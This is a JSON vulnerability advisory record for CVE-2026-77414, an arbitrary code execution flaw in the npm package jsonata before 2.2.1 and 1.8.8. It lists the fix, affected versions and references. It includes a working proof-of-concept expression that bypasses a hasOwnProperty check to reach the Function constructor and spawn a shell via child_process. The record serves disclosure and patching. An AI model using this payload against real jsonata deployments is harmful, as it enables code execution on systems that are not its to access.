{"id":"CVE-2026-77414","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-77414","summary":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","details":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```","published":"2026-08-21T20:58:01Z","modified":"2026-08-21T21:00:10.717323586Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"jsonata","fixedVersion":"2.2.1"},{"ecosystem":"npm","name":"jsonata","fixedVersion":"1.8.8"}],"fix":{"url":"https://github.com/jsonata-js/jsonata/pull/799","label":"jsonata-js/jsonata#799"},"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/799"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-21T21:00:10.717323586Z"}}